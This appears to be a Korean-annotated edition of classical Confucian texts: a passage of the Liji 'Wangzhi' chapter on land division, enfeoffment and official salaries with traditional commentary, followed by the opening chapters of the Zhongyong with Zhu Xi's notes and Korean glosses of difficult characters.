跛와 躄과 斷者와 侏儒와 百工과는 各以其器로 食[嗣]之니라.[713-2]\n[瘖(음):벙어리(喑)][躄:앉은뱅이벽][侏:난장이주]\n瘖者는 不能言이요, 聾者는 不能聽이요, 跛者는 一足廢요, 躄者는 兩足俱廢요, 斷者는 支節脫絶이요, 侏儒는 身體短小者也라. 百工은 衆雜技藝也라. 器는 猶能也라. 此六類者이 因其各有技藝之能하야 足以供官之役使라. 故,遂因其能而以廩給食養之라. 疏에 引國語戚施植鏄等六者,爲證하니라.[鏄:쇠덩이단]\n嚴陵方氏曰百工則凡執一藝者是也先王之時瘖者以之實土聾者以之司火刖者以之守囿刖則跛躄斷者之類也侏儒以之扶廬以至陶者之治埴匠者之治木冶氏之攻金玉人之切玉所謂各以其器食之也苟子曰五疾上收而養之材而事之蓋謂是矣先王之政必如是何也所以使在下者無廢才而人人各得其養在上者無虛用而事事各極其精而已是能也而曰器者以隨其大小長短而用之故謂之器耳孔子所謂使人也器之是矣.\n[刖:벨월(발꿈치베는형벌)][囿:동산유][埴:찰흙식,점토]\n053. 道路에, 男子는 由右하고, 婦人은 由左이니, 車는 從中央이니라.[715-1]\n凡男子婦人,同出一塗者이 則男子는 常由婦人之右하고, 婦人은 常由男子之左니라. 爲遠別也라.\n嚴陵方氏曰道路所以通四方四方者男子所有事也女子則深宮固門而已右有力而左無爲故其所由如此道路旣曰中又曰央何也蓋央以適當言之耳或上或下或左或右皆非適當焉唯中乃可以言央也.\n父之齒는 隨行하고, 兄之齒는 鴈行하고, 朋友는 不相踰이니라.[715-2]\n父之齒,兄之齒는 謂其人年이 與父等,或與兄等也라. 隨行은 隨其後也요. 鴈行은 並行而稍後也라. 朋友이 年相若則彼此이 不可相踰越而有先後이니, 言並行而齊也라.\n輕任으론 幷하고, 重任으론 分하고. 辬白者는 不提挈이니라.[716-1]\n幷은 己獨任之也요, 分은 析而二之也라.\n君子耆老는 不徒行하고, 庶人耆老는 不徒食이니라.[716-2]\n方氏이 曰 徒行은 謂無乘而行也요, 徒食은 謂無羞而食也라.\n應氏이 曰 非人皆好德而士不失職이면 安能使左路,無徒行之賢이며, 非人各有養而俗尙孝敬이면 安能使在家,無徒食之老리요.[辬:얽을반,무의][挈:거느릴설,이끌다,휴대하다,이루다]\n長樂劉氏曰帝王之爲治也不出人倫天下之人入于五品爾故其天下外簿四海行路之民皆服敎化父之齒隨行父子之敎著於道路矣兄之齒鴈行兄弟之敎著於道路矣朋友不相踰禮義之敎著於道路矣輕任幷重任分任恤之行著於道路矣辬白不提挈孝友之行著於道路矣故君子耆老不徒行庶人耆老不徒食君子小人之爲子弟者莫不知尊德而養老也.\n054. 方一里者는, 爲田이 九百畝요.[717-1]\n步百爲畒니 是이 長一百步,闊一步요. 畒百爲夫니 是이 一頃이니, 長闊一百步요. 夫三爲屋이니 是이 三頃이니, 闊三百步,長一百步요. 屋三爲井이니 則九百畒也라. 長闊一里이 孟子이 曰 方里而井,井九百畒라 하시니라.[畒=畝:이랑묘]\n方十里者는 爲方一里者이 百이요, 爲田이 九萬畝이요. 方百里者는, 爲方十里者이 百이요 爲田이 九十億畝이요.[717-2]\n一箇十里之方이 旣爲田九萬畝則十箇十里之方이 爲田九十萬畒이요. 一百箇十里之方이 爲田九百萬畒이니. 今云九十億畒는 是一億이 有十萬이요, 十億이 有一百萬이니 九十億이 乃九百萬畒也라.\n方千里者는 爲方百里者이 百이요, 爲田이 九萬億畝이니라.[718]\n計千里之方이 爲方百里者이 百이니, 一箇百里之方이 旣爲九十億畝則十箇百里之方이 爲九百億畝요. 百箇百里之方이 爲九千億畝이니, 今乃云九萬億畝,與數不同者는 若以億言之면 當云九千億畝요, 若以萬言之면 當云九萬萬畝이니 經文이 誤也라.\n○ 應氏이 曰 自此至篇末히 皆覆解篇首及中間井田封建地里之界하니라.\n054. 自恒山으로 至於南河는 千里而近하고. 自南河로 至於江은, 千里而近하고. 自江으로 至於衡山히는, 千里而遙하고. 自東河로 至於東海히는, 千里而遙하고. 自東河로 至於西河히는, 千里而近하고. 自西河로 至於流沙히는, 千里而遙하니. 西不盡流沙하며, 南不盡衡山하며, 東不盡東海하며, 北不盡恒山이니라.[719]\n方氏이 曰 不足을 謂之近이요, 有餘를 謂之遙라.\n○ 應氏이 曰 此獨言東海者는 東海在中國封疆之內而西南北則夷徼之外也요, 南以江與衡山爲限하니, 百越이 未盡開也요. 河擧東西南北者는 河流이 縈帶周遶하야 雖流沙分際나, 亦與河接也라. 自秦而上은 西北袤而東南蹙하고, 秦而下는 東南展而西北縮하니, 先王盛時에 四方에 各有不盡之地하니, 不勞中國以事外也라. 禹貢,東漸西被朔南咸曁나, 特聲敎所及이요, 非貢賦所限也라.\n[徼(요):구하다; 훔치다; 순찰하다; 순행하다][縈:얽힐영][遶:두루요][袤(무):길다(長),긴옷(長衣),남북 또는 세로의 연장,뻗치다(延亙)][蹙(축):쭈구러지다(迫),찡그리다(愁貌),차다(蹴).蹙眉:眉間이 좁은 人相. 蹙迫:좁혀짐.절박함][曁:및기]\n凡四海之內에 斷[短]長補短하며, 方三千里는 爲田이 八十萬億一萬億畝이요, 方百里者는 爲田이 九十億畝이니, 山陵林麓과 川澤溝瀆과 城郭宮室塗巷을 三分去[상성]一하고, 其餘이 六十億畝이니라.[720]\n爲田八十萬億一萬億畝者는 以一州方千里니, 九州方三千里三三爲九이니 爲方千里者九요. 一箇千里에 有九萬億畒이니, 九箇千里에 九九八十一이라. 故,有八十一萬億畒이니, 於八十整數之下에, 云,萬億하니, 是이 八十箇萬億이요, 又云一萬은 億言八十箇萬億之外에 更有一萬億이니, 是이 共爲八十一萬億畒이니, 先儒이 以萬億二字,爲衍이 非也라 하니, 此이 並疏義어니와, 然,愚按方百里에 爲田九十億畒則方三千里에 當云八萬一千億畒이니, 如疏義이 亦承誤釋之也이니라.\n嚴陵方氏曰高而藏曰山大而平曰陵木所積曰林林所附曰麓.\n056. 古者에 以周尺八尺으로 爲步하고, 今以周尺六尺四寸으로 爲步하나니. 古者앳 百畝이 當今東田百四十六畝이 三十步하고, 古者앳 百里이, 當今百二十一里六十步四尺二寸二分이니라.[721]\n疏曰古者에 八寸이 爲尺하니, 以周尺八尺으로 爲步則一步에 有六尺四寸어러니, 今에 以周尺六尺四寸으로 爲步則一步에 有五十二寸하니, 是는 今步이 比古步컨대 每步에 剩出一十二寸이라. 以此計之則古者百畝이 當今東田百五十二畝七十一步有餘與하니, 此百四十六畝三十步로 不相應이요, 又今步이 每步에 剩古步十二寸이라. 以此計之則古之百里에 當今百二十三里一百一十五步二十寸하니, 與此百二十一里六十步四尺二寸二分으로 又不相應이라. 經文에 錯亂하야 不可用也이로다.\n○愚는 按疏義所筭이 亦誤이로다. 當云古者에 八寸이 爲尺하니 以周尺八尺으로 爲步則一步에 有六尺四寸이러니, 今以周尺六尺四寸으로 爲步則一步에 有五尺一寸二分이니, 是는 今步이 比古步컨대 每步에 剩出一尺二寸八分이라. 以此計之則古者百畝이 當今東田百五十六畝二十五步一寸六分千分寸之四하니, 與此百四十六畝三十步로 不相應이요. 里亦倣此推之니라.[倣:본뜰방]\n○方氏이 曰 東田者는 卽詩言南東其畝也이니,言南則以廬이 在其北而向南이요, 言東則以廬이 在其西而向東이니라.\n○嚴氏이 說 南東其畝云호대, 或南其畝하며 或東其畝는 順地勢及水之所趨也라 하니라.\n057. 方千里者는 爲方百里者이 百이니,[724-1]\n天下이 九州에 主畿이 居中하니, 外八州이 每州에 各方千里니, 是一百箇百里라. 以開方之法으로 推之면 合萬里也라.\n封方百里者이 三十國하고. 其餘이 方百里者이 七十이어든.[724-2]\n公侯는 皆方百里니, 封三十箇百里하고, 剩이 七十箇百里라.\n又封方七十里者이 六十하나니, 爲方百里者이 二十九요, 方十里者이 四十이요,[724-3]\n伯은 七十里니 封六十箇七十里면 是는 占二十九箇百里와 四十箇十里니 於三十箇百里內에 剩이 六十箇十里라.\n其餘이 方百里者이 四十이요, 方十里者이 六十이어든. 又封方五十里者이 百二十하나니, 爲方百里者이 三十이요, 其餘이 方百里者이 十이요, 方十里者이 六十이니.[725]\n除上封二等國이 共占六十箇百里外에 止剩四十箇百里와 及六十箇十里니, 於此地內에 封子男五十里之國者이 百二十箇니, 每一百里에 封四箇면 實占三十箇百里니, 通三等封하고. 止剩十箇百里와 六十箇十里라.\n○伯國은 方七十里니, 七七四十九하야 是四十九箇十里라.\n○子男은 方五十里니, 五五二十五하야 是二十五箇十里라.\n名山大澤을 不以封하고. 其餘란 以爲附庸間田하나니, 諸侯之有功者를, 取於閒田하야 以祿之하고. 其有削地者이어든, 歸之間田하나니라.[726]\n除名山大澤之外엔 皆爲附庸之國及間田이라.\n方氏曰諸侯之有功者取於閑田以祿之卽巡守之禮言有功德於民者加地是也其有削地者歸之間田卽巡守之禮言不敬者君削以地是也\n天子之縣內에 方千里者는, 爲方百里者이 百이니, 封方百里者이 九하고. ○其餘이 方百里者이 九十一이니. 又封方七十里者이 二十一하나니, 爲方百里者이 十이요, 方十里者이 二十九요. ○其餘이 方百里者이 八十이요, 方十里者이 七十一이니라. 又封方五十里者이 六十三하나니, 爲方百里者이 十五이요, 方十里者이 七十五이니라. ○其餘이 方百里者이 六十四요, 方十里者이 九十六이니라.[727]\n此는 倣上章畿外之法이니, 推之可見이라. 畿外에 封國多而餘地少는 廣封建之制於天下也요, 畿內에 封國少而餘地多는 備采邑之分於王朝也라.\n058. 諸侯之下士는 祿이 食[嗣]九人이요, 中士는 食十八人이요, 上士는 食三十六人이요, 下大夫는 食七十二人이요, 卿은 食二百八十八人이요, 君은 食二千八百八十人이니라.[728-1]\n此는 言大國之數라.\n次國之卿은 食二百一十六人이요, 君은 食二千一百六十人이니라. [728-2]\n次國大夫이 亦食七十二人이니, 卿은 三大夫祿이라. 故,食二百一十六人이라.\n小國之卿은 食百四十四人이요, 君은 食千四百四十人이니라.[728-3]\n小國大夫이 亦食七十二人이니, 卿은 倍大夫祿이라. 故,食百四十四人이라.\n次國之卿이 命於其君者는 如小國之卿이니라.[729]\n降於天子所命也라.\n嚴陵方氏曰凡此皆言制祿多寡之法篇首所言中土倍下士至於君十卿祿者是也此特重釋之爾.\n金華應氏曰由下士以至於君其祿愈厚則其所食愈衆豈非以人徒服役漸增而漸廣歟然由卿而下皆服役乎君者也則旣各給之田以爲祿矣君祿之所入豈盡以食二千八百八十哉以二千八百八十人之食而養一國之君所養極其厚則所食兼於衆也然必析其數以見其所食之多亦欲居人上者知吾之所奉合衆力而共爲之則必思其有以稱此且不至壅利利自私而必推已以養人故君所食之人十倍於卿而由士至卿所食者次第加衆皆欲其無獨富之心而助君以養民也.\n天子之大夫이 爲三監하야, 監於諸侯之國者는, 其祿이 視諸侯之卿이오, 其爵이 視次國之君이니, 其祿을 取之於方佰之地니라.[730-1]\n祿視諸侯之卿에 可食二百八十八人者也라.\n方佰이 爲[去聲]朝天子하야, 皆有湯沐之邑於天子之縣內호대, 視元士이니라.[730-2]\n謂之湯沐者는 言入至畿內에 卽暫止頓於此하야 齊絜而往也니 春秋傳에 謂之朝宿之邑이라하니 惟方伯이아 有之하고 其餘는 否이니, 許愼이 云周千八百諸侯이 若皆有之則盡京師地라도 亦不能容이라 하니라.\n[絜:(혈:헤아릴혈)(결:고요할결,조촐,삼한단)(계:끌다:提)]\n長樂陳氏曰湯沐則朝宿之邑也不曰朝宿而曰湯沐者齊戒以見君故也方伯之於天子猶天子之於神巡守有湯沐之邑於泰山之下則方伯爲朝有湯沐之邑於天子之縣內宜矣.\n諸侯世子는 世國하고, 大夫는 不世爵이니, 使以德이요, 爵以功하나니, 未賜爵이어든, 視天子之元士하야, 以君其國하고. 諸侯之大夫는, 不世爵祿이니라.[731]\n世子世國은 畿外之制也라. 天子大夫는 不世爵而世祿이니, 先王이 使人爵人에 必取其有德有功者하고, 列國之君이 薨커든 其子이 未得爵賜則其衣服禮數를 視天子之元士하고 賜爵而後에 得如先君之舊也라. 諸侯之大夫는 不世爵祿而有大功德者는 亦世之左傳에 言官有世功勅有官族이라 하니라.\n059. 六禮는, 寇과, 昏과, 喪과, 祭와, 鄕과, 相見과요.[732-1]\n今所存者이 士冠, 士昏, 士喪, 特牲, 少牢, 饋食, 鄕飮酒, 士相見이라.\n060. 七敎는, 父子와, 兄弟와, 夫婦와, 君臣과, 長幼와, 朋友와, 賓客과요. 八政은, 飮食과, 衣服과, 事爲와, 異別과, 度量과, 數制와이니라.[732-2]\n六禮七敎八政은 皆司徒所掌이니, 禮節民性하고 敎興民德하야 脩則不壞하고 明則不渝이나 然,非齊八政하야 以防淫則亦禮敎之害也라. 事爲者는 百工之技藝니, 有正有邪하고 異別者는 五方之械器니 有同有異하고, 度量則不使有長短小大之殊요, 數制則不使有多寡廣狹之異니, 若夫飮食衣服은 尤民生日用之不可闕者이니, 所以居八政之首라. 齊之則不使有僭儗詭異之端矣니, 此篇은 先儒이 謂雜擧歷代之典이라하니, 雖一一分別而不能皆有明證이요, 又且多祖緯書하니, 豈可謂決然無疑哉아. 朱子이 有言漢儒說制度에 有不合者면 多推從殷禮去라 하시니 此亦疑其無徵矣라. 然,只據大綱而言인댄 興學以上과 脩六禮以下이 其坦明者이 亦可爲後王之法也이로다.\n[渝(투):변하다,더러워지다(汚),(本音:유).渝盟:맹세를 바꿈.약속어김. 渝月:달 넘김. 날짜가 감. 渝移:변하여 옮겨 감][詭:속일궤][坦:평평탄]\n嚴陵方氏曰冠昏嘉禮也喪凶禮也祭吉禮也鄕相見賓禮也不及軍禮者六禮司徒脩之以節民性而有發司徒敎士以車甲則軍禮固在其中矣政在養民故以飮食爲首飮養陽而食養陰故先飮而後食有飮食以養之必有衣服以成之故繼之以衣服焉有所異故繼之以異別焉有異別矣則必有度以度其所至量以量其所容有度量矣則必有數以計其多少有制以定其等差故繼之以數制焉.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/5-wang-je.htm","date":"2019-02-19T19:08:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00555.warc.gz","language":"lzh","language_score":0.5384492874,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5384492874145508, \"cmn_Hani_score\": 0.2763592302799225, \"kor_Hang_score\": 0.0954587534070015, \"jpn_Jpan_score\": 0.06738919019699097}","num_words":4574,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.538,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"程子 曰, \"不偏之謂中이요, 不易之謂庸이니, 中者는 天下之正道요, 庸者는 天下之定理라.\" 此篇은 乃孔門傳授心法하니, 子思이 恐其久而差也라. 故,筆之於書하여 以授孟子하니. 其書始言一理라, 中은 散為萬事하여 末復合為一理니, 放之則彌六合하고. 卷之則退藏於密하니, 其味無窮하나, 皆實學也라. 善讀者玩索而有得焉하나니 則終身用之면 有不能盡者矣니라.\n01-1. 天命之謂性이요, 率性之謂道이며, 脩道之謂教라 하니.解\n命은 猶令也요. 性은 即理也라, 天은 以陰陽五行化生萬物하고, 氣以成形하며, 而理亦賦焉하나니, 猶命令也라. 於是에 人物之生하고, 因各得其所賦之理하여 以為健順五常之德하니 所謂性也라. 率은 循也라. 道는 猶路也라. 人物各循其性之自然, 則其日用事物之間에 莫不各有當行之路하니, 是則所謂道也라. 脩는 品節之也라. 性道는 雖同하나, 而氣稟或異하여, 故,不能無過不及之差하니, 聖人이 因人物之所當行者而品節之하고, 以為法於天下하니, 則謂之教라하니. 若禮,樂,刑,政之屬이 是也라. 蓋人之所以為人하고, 道之所以為道하며, 聖人之所以為教는 原其所自 無一不本於天而備於我라. 學者知之 則其於學知所用力而自不能已矣라. 故,子思於此首에 發明之하니, 讀者所宜深體而默識也하라.\n01-2. 道也者는 不可須臾離[去聲]也하니 可離면 非道也라. 是故로 君子戒慎乎其所不睹하며, 恐懼乎其所不聞이니라.解 [睹:볼도]\n道者 日用事物當行之理 皆性之德而具於心 無物不有 無時不然 所以不可須臾離也. 若其可離 則為外物而非道矣. 是以君子之心常存敬畏 雖不見聞 亦不敢忽 所以存天理之本然 而不使離於須臾之頃也. [臾:잠깐유]\n01-3. 莫見[現]乎隱이며, 莫顯乎微니, 故로 君子慎其獨也니라.解\n隱 暗處也. 微 細事也. 獨者 人所不知而己所獨知之地也. 言幽暗之中 細微之事 跡雖未形而幾則已動 人雖不知而己獨知之 則是天下之事無有著見明顯而過於此者. 是以君子既常戒懼 而於此尤加謹焉 所以遏人欲於將萌 而不使其滋長於隱微之中 以至離道之遠也.\n01-4. 喜怒哀樂[洛]之未發을 謂之中[去聲]이요, 發而皆中[去聲]節을 謂之和니라. 中也者는 天下之大本也요, 和也者는 天下之達道也니라. 解\n喜,怒,哀,樂,情也. 其未發 則性也 無所偏倚 故謂之中. 發皆中節 情之正也 無所乖戾 故謂之和. 大本者 天命之性 天下之理皆由此出 道之體也 達道者 循性之謂 天下古今之所共由 道之用也. 此言性情之德 以明道不可離之意.\n01-5. 致中和면 天地位焉하며, 萬物育焉하니라.解\n致 推而極之也. 位者 安其所也. 育者 遂其生也. 自戒懼而約之 以至於至靜之中 無少偏倚 而其守不失 則極其中而天地位矣. 自謹獨而精之 以至於應物之處 無少差謬 而無適不然 則極其和而萬物育矣. 蓋天地萬物本吾一體 吾之心正 則天地之心亦正矣 吾之氣順 則天地之氣亦順矣. 故其效驗至於如此. 此學問之極功 聖人之能事 初非有待於外 而修道之教亦在其中矣. 是其一體一用雖有動靜之殊 然必其體立而後用有以行 則其實亦非有兩事也. 故於此合而言之 以結上文之意 [謬:그릇될유]\n[上 第一章。子思述所傳之意以立言。首明道之本原出於天而不可易,其實體備於己而不可離,次言存養省察之要,終言聖神功化之極。蓋欲學者於此反求諸身而自得之,以去夫外誘之私,而充其本然之善,楊氏所謂一篇之體要是也。其下十章,蓋子思引夫子之言,以終此章之義.]\n02-1. 仲尼이 曰, \"君子는 中庸하고, 小人은 反中庸하나니,解\n中庸者 不偏不倚,無過不及 而平常之理 乃天命所當然 精微之極致也. 惟君子為能體之 小人反是.\n02-2. 君子之中庸也는 君子而時中이요, 小人之中庸也는 小人而無忌憚也니라.\"解\n王肅本作 \"小人之反中庸也\" 程子亦以為然. 今從之. ○ 君子之所以為中庸者 以其有君子之德 而又能隨時以處中也. 小人之所以反中庸者 以其有小人之心 而又無所忌憚也. 蓋中無定體 隨時而在 是乃平常之理也. 君子知其在我 故能戒謹不睹,恐懼不聞 而無時不中. 小人不知有此 則肆欲妄行 而無所忌憚矣.\n[上第二章。此下十章 皆論中庸以釋首章之義, 文雖不屬 而意實相承也, 變和言庸者 游氏曰 \"以性情言之 則曰中和 以德行言之 則曰中庸是也.\" 然中庸之中 實兼中和之義,]\n03. 子이 曰하사대 \"中庸은 其至矣乎인저! 民鮮[上聲]能久矣니라!\"解\n過則失中 不及則未至 故惟中庸之德為至. 然亦人所同得 初無難事 但世教衰 民不興行 故鮮能之 今已久矣. 論語無能字.\n[上第三章]\n04. 子이 曰하사대 \"道之不行也를 我知之矣러니, 知[去聲]者는 過之하고, 愚者는 不及也일새니라. 道之不明也를 我知之矣러니, 賢者는 過之하고, 不肖者는 不及也일새니라. 人莫不飮食也언마는 鮮[上聲]能知味也니라.\"解\n道者 天理之當然 中而已矣. 知愚賢不肖之過不及 則生稟之異而失其中也. 知者知之過 既以道為不足行,愚者不及知 又不知所以行 此道之所以常不行也. 賢者行之過 既以道為不足知,不肖者不及行 又不求所以知 此道之所以常不明也. 道不可離 人自不察 是以有過不及之弊.\n[上第四章]\n05. 子이 曰하사대 \"道其不行矣夫[音扶]인저!解\n由不明,故不行\n[上第五章。此章承上章而舉其不行之端 以起下章之意]\n06. 子이 曰하사대 \"舜은 其大知[去聲]也與[平聲]신저! 舜이 好[去聲]問而好察邇言하시되 隱惡而揚善하시며, 執其兩端하사 用其中於民하시니, 其斯以為舜乎신저!解\n舜之所以為大知者 以其不自用而取諸人也. 邇言者 淺近之言 猶必察焉 其無遺善可知. 然於其言之未善者則隱而不宣 其善者則播而不匿 其廣大光明又如此 則人孰不樂告以善哉. 兩端 謂眾論不同之極致. 蓋凡物皆有兩端 如小大厚薄之類 於善之中又執其兩端 而量度以取中 然後用之 則其擇之審而行之至矣. 然非在我之權度精切不差 何以與此. 此知之所以無過不及 而道之所以行也. [匿숨을닉.匿年.匿名][眾:많을중,뭇중(衆本字)]\n[上第六章]\n07. 子이 曰하사대 \"人皆曰予知[去聲]로대 驅而納諸罟[音古]擭[胡化反]陷阱[才性反]之中,而莫之知辟[避同]也하며, 人皆曰予知[去聲]로대 擇乎中庸而不能期月守也니라.解\n[知=智][罟:그물고][擭:함정확,덭확. 잡을획][陷빠질함.함정함][阱:함정정(穽同)]\n罟 網也, 擭 機檻也. 陷阱 坑坎也. 皆所以掩取禽獸者也. 擇乎中庸 辨別眾理 以求所謂中庸 即上章好問用中之事也. 期月 匝一月也. 言知禍而不知辟 以況能擇而不能守 皆不得為知也.\n[檻:우리함,막을함][坑:구덩이갱][坎:구덩이감][掩:가릴엄,숨김.닫다][匝:두루잡(帀의俗字0]\n[上第七章。承上章大知而言,又舉不明之端,以起下章也]\n08. 子이 曰하사대 \"回之為人也는 擇乎中庸하여 得一善이면 則拳拳服膺而弗失之矣니라.解 [膺:가슴응]\n回 孔子弟子顏淵名. 拳拳 奉持之貌. 服 猶著也. 膺 胸也. 奉持而著之心胸之間 言能守也. 顏子蓋真知之 故能擇能守如此 此行之所以無過不及 而道之所以明也.\n[上第八章]\n09. 子이 曰하사대 \"天下國家를 可均也며, 爵祿을 可辭也며, 白刃을 可蹈也로대, 中庸은 不可能也니라.解\n均 平治也. 三者亦知仁勇之事 天下之至難也 然不必其合於中庸 則質之近似者皆能以力為之. 若中庸 則雖不必皆如三者之難 然非義精仁熟 而無一毫人欲之私者 不能及也. 三者難而易 中庸易而難 此民之所以鮮能也.\n[上第九章。亦承上章以起下章]\n10. 子路이 問强한대, 子이 曰하사대 \"南方之强與[平聲]아? 北方之强與아? 抑而强與아? 寬柔以敎요, 不報無道는 南方之强也니, 君子居之니라. 衽金革하여 死而不厭은 北方之强也니, 而强者居之니라. 故로 君子는 和而不流하나니, 强哉矯여! 中立而不倚하나니 强哉矯여! 國有道에 不變塞焉하나니 强哉矯여! 國無道에 至死不變하나니 强哉矯여! 解\n子路 孔子弟子仲由也. 子路好勇 故問強. 抑은 語辭로 而汝也라. 寬柔以教 謂含容巽順以誨人之不及也. 不報無道 謂橫逆之來 直受之而不報也. 南方風氣柔弱 故以含忍之力勝人為強 君子之道也. 衽은 席也라. 金은 戈兵之屬이요. 革은 甲冑之屬이라. 北方風氣剛勁 故以果敢之力勝人為強 強者之事也. 此四者 汝之所當強也. 矯는 強貌라. 詩曰 '矯矯虎臣' 是也. 倚는 偏著也라. 塞은 未達也라. 國有道 不變未達之所守,國無道 不變平生之所守也. 此則所謂中庸之不可能者 非有以自勝其人欲之私 不能擇而守也. 君子之強 孰大於是. 夫子以是告子路者 所以抑其血氣之剛 而進之以德義之勇也.[塞:막을색,옹색함,미달]\n[上第十章]\n11. 子이 曰하사대 \"素索隱行怪를 後世에 有述焉하나니, 吾弗為之矣로라. 君子遵道而行하다가 半塗而廢하나니 吾弗能已矣로라. 君子依乎中庸하야 遯世不見知而不悔하나니, 唯聖者能之니라.解 [遯:달아날둔,순다,피하다]\n素 按漢書當作索 蓋字之誤也. 索隱行怪 言深求隱僻之理 而過為詭異之行也. 然以其足以欺世而盜名 故後世或有稱述之者. 此知之過而不擇乎善 行之過而不用其中 不當強而強者也 聖人豈為之哉! 遵道而行 則能擇乎善矣,半塗而廢 則力之不足也. 此其知雖足以及之 而行有不逮 當強而不強者也. 已는 止也라. 聖人於此 非勉焉而不敢廢 蓋至誠無息 自有所不能止也. 不為索隱行怪 則依乎中庸而已. 不能半塗而廢 是以遯世不見知而不悔也. 此中庸之成德 知之盡 仁之至 不賴勇而裕如者 正吾夫子之事 而猶不自居也. 故曰唯聖者能之而已.[詭:속일궤,다를궤][逮:미칠체,태(及)]\n[上第十一章。子思所引夫子之言,以明首章之義者止此。蓋此篇大旨,以知仁勇三達德為入道之門。故於篇首,即以大舜、顏淵、子路之事明之。舜,知也;顏淵,仁也;子路,勇也:三者廢其一,則無以造道而成德矣。餘見第二十章]\n12-1. 君子之道는 費[符味反]而隱이니라.解\n費 用之廣也. 隱 體之微也.\n12-2. 夫婦之愚로도 可以與[去聲]知焉일되 及其至也하여는 雖聖人이라도 亦有所不知焉하며, 夫婦之不肖로도 可以能行焉이로대 及其至也하여는 雖聖人이라도 亦有所不能焉하며, 天地之大也에도 人猶有所憾이라. 故로 君子語大인댄 天下莫能載焉하며, 語小인댄 天下莫能破焉이니라.解\n君子之道 近自夫婦居室之間 遠而至於聖人天地之所不能盡 其大無外 其小無內 可謂費矣. 然其理之所以然 則隱而莫之見也. 蓋可知可能者 道中之一事 及其至而聖人不知不能. 則舉全體而言 聖人固有所不能盡也. 侯氏曰,「聖人所不知 如孔子問禮問官之類,所不能 如孔子不得位,堯舜病博施之類.」愚謂人所憾於天地 如覆載生成之偏 及寒暑災祥之不得其正者.\n12-3. 詩云 鳶[余專反]飛戾天이요, 魚躍于淵이라.'하니, 言其上下察也니라.解\n詩大雅旱麓之篇. 鳶 鴟類. 戾 至也. 察 著也. 子思引此詩以明化育流行 上下昭著 莫非此理之用 所謂費也. 然其所以然者 則非見聞所及 所謂隱也. 故程子曰 \"此一節 子思喫緊為人處 活潑潑地 讀者其致思焉.\"\n[喫:먹을끽,마시다][緊:굳을긴,급할긴]\n12-4. 君子之道는 造端乎夫婦나, 及其至也하여는 察乎天地니라.解\n結上文\n[上第十二章。子思之言,蓋以申明首章道不可離之意也。其下八章,雜引孔子之言以明之]\n13-1. 子이 曰하사대 \"道不遠人하니, 人之爲道而遠人이면 不可以爲道니라.解\n道者,率性而已,固眾人之所能知能行者也,故常不遠於人。若為道者,厭其卑近以為不足為,而反務為高遠難行之事,則非所以為道矣!\n13-2. 詩云伐柯伐柯여! 其則不遠이라하니 執柯以伐柯하되 睨[研計反]而視之하고 猶以爲遠하나니. 故로 君子는 以人治人하다가 改而止니라.解 [柯:가지과,자루과][睨:흘겨볼예,해기울예]\n詩豳風伐柯之篇. 柯,斧柄. 則,法也. 睨, 邪視也. 言人執柯伐木以為柯者 彼柯長短之法 在此柯耳. 然猶有彼此之別 故伐者視之猶以為遠也. 若以人治人 則所以為人之道 各在當人之身 初無彼此之別. 故君子之治人也 即以其人之道 還治其人之身. 其人能改 即止不治. 蓋責之以其所能知能行 非欲其遠人以為道也. 張子所謂'以眾人望人則易從' 是也.\n13-3. 忠恕違道不遠하니 施諸己而不願을 亦勿施於人이니라.解\n盡己之心為忠 推己及人為恕. 違 去也 如春秋傳「齊師違穀七里」之違. 言自此至彼 相去不遠 非背而去之之謂也. 道 即其不遠人者是也. 施諸己而不願亦勿施於人 忠恕之事也. 以己之心度人之心 未嘗不同 則道之不遠於人者可見. 故己之所不欲 則勿以施之於人 亦不遠人以為道之事. 張子所謂「以愛己之心愛人則盡仁」是也.\n13-4. 君子之道四에 丘未能一焉이로니. 所求乎子로 以事父를 未能也하며, 所求乎臣으로 以事君을 未能也하며, 所求乎弟로 以事兄을 未能也하며, 所求乎朋友로 先施之를 未能也로니, 庸德之行하며 庸言之謹하여 有所不足이어든 不敢不勉하며, 有餘어든 不敢盡하여 言顧行하며, 行顧言이니 君子胡不慥慥爾리오.解\n[慥진실할조,착실하다]\n子,臣,弟,友,四字絕句. 求 猶責也. 道不遠人 凡己之所以責人者 皆道之所當然也. 故反之以自責而自修焉. 庸 平常也. 行者 踐其實. 謹者 擇其可. 德不足而勉 則行益力, 言有餘而訒 則謹益至. 謹之至則言顧行矣, 行之力則行顧言矣. 慥慥 篤實貌. 言君子之言行如此 豈不慥慥乎 贊美之也. 凡此皆不遠人以為道之事. 張子所謂「以責人之心責己則盡道」是也.\n[上第十三章. 道不遠人者 夫婦所能 丘未能一者 聖人所不能 皆費也. 而其所以然者 則至隱存焉. 下章放此.]\n14-1. 君子는 素其位而行이요, 不願乎其外니라.解\n素 猶見在也. 言君子但因見在所居之位而為其所當為 無慕乎其外之心也.\n14-2. 素富貴하얀 行乎富貴하며, 素貧賤하얀 行乎貧賤하며, 素夷狄하얀 行乎夷狄하며, 素患難[去聲]하얀 行乎患難이니. 君子는 無入而不自得焉이니라.解\n此言素其位而行也.\n14-3. 在上位하여 不陵下하며, 在下位하여 不援[平聲]上이요, 正己而不求於人이면 則無怨이니, 上不怨天하며, 下不尤人이니라.解\n此言不願乎其外也.\n14-4. 故로 君子는 居易[去聲]以俟命하고, 小人은 行險以徼幸이니라.解\n易 平地也. 居易 素位而行也. 俟命 不願乎外也. 徼 求也. 幸 謂所不當得而得者.\n14-5. 子曰 射는 有似乎君子하니 失諸正[音征]鵠[工毒反]이어든 反求諸其身이니라.解\n畫布曰正,棲皮曰鵠,皆侯之中,射之的也。子思引此孔子之言,以結上文之意\n[上第十四章. 子思之言也. 凡章首無「子曰」字者放此.]\n15-1. 君子之道는 辟[譬]如行遠必自邇하며, 辟如登高必自卑하나니. 詩曰 '妻子好[去聲]合이 如鼓瑟琴하고, 兄弟既翕이면 和樂且耽[詩作湛]이니, 宜爾室家 樂[音洛]爾妻帑하라'하였다.解\n[翕:화합할흡,모으다,모이다,거두다][耽:즐길탐(過樂),耽溺,耽讀.][帑:국가곳집탕. 처자식노(子孫)]\n詩는 小雅 常棣之篇이라. 鼓瑟琴은 和也라. 